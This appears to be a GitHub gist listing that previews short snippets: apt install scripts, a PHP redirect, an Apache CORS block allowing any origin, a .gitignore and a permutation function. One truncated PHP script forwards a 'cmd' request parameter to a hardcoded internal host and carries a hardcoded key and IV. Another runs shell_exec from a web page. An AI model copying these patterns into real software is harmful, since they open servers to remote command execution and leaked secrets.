This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| sudo add-apt-repository ppa:simon-cadman/cups-cloud-print | |
| sudo apt-get update | |
| sudo apt-get install cupscloudprint | |
| sudo /usr/share/cloudprint-cups/setupcloudprint.py |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/sh | |
| sudo apt-get install apache2 | |
| sudo add-apt-repository ppa:ondrej/php | |
| sudo apt-get update | |
| sudo apt-get install -y php7.0 | |
| php -v |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $fs = scandir(__DIR__); | |
| $fs1= $fs[count($fs)-1]; | |
| header("location:{$fs1}/"); | |
| ?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Header set Access-Control-Allow-Origin "*" | |
| Header set Access-Control-Max-Age 10000 | |
| Header set Access-Control-Allow-Methods POST,GET,PUT,DELETE,OPTIONS | |
| Header set Access-Control-Allow-Headers Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,X-Mx-ReqToken,X-Forwarded-For,Keep-Alive,X-Requested-With,If-Modified-Since,jwt-token,client-token,token |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Git Commands | |
| ============ | |
| A list of my commonly used Git commands | |
| -- | |
| ### Getting & Creating Projects | |
| | Command | Description | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| *~ | |
| .DS_Store | |
| .svn | |
| .cvs | |
| *.bak | |
| *.swp | |
| Thumbs.db | |
| log/*.log | |
| logs/**/* |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Cms/Classes/Controller.php/ | |
| public function getAjaxHandler() | |
| -------------------- | |
| vendor/october/rain/src/Exception | |
| public function __construct | |
| $message = htmlspecialchars($message); | |
| --------------- | |
| modules/system/lang/en/lang.php |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| function permute($str,$i,$n) { | |
| if ($i == $n) { | |
| print "$str\n<br>"; | |
| } else { | |
| for ($j = $i; $j < $n; $j++) { | |
| swap($str,$i,$j); | |
| permute($str, $i+1, $n); | |
| swap($str,$i,$j); // backtrack. | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $key = 'qwertyuiopqwieuu'; | |
| $iv = '0123456789123456'; | |
| $enableEncrypt=true; | |
| $url="http://192.168.1.133:8090/"; | |
| if(isset($_REQUEST['cmd'])) { | |
| //$url="http://127.0.0.1:8088/?".encrypt($_SERVER['QUERY_STRING']); | |
| $url=$url."?".$_SERVER['QUERY_STRING']; | |
| $data=trim(file_get_contents($url)); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| //echo shell_exec("cd ../bigca.in/apps/caapps/userdata/;du -hsx * | sort -rh | head -10"); | |
| echo shell_exec("cd ..;du -hsx * | sort -rh | head -10"); | |
| //echo shell_exec("cd ..;find -type f -printf '%s %p\n' |sort -nr | head"); | |
| ?> |
NewerOlder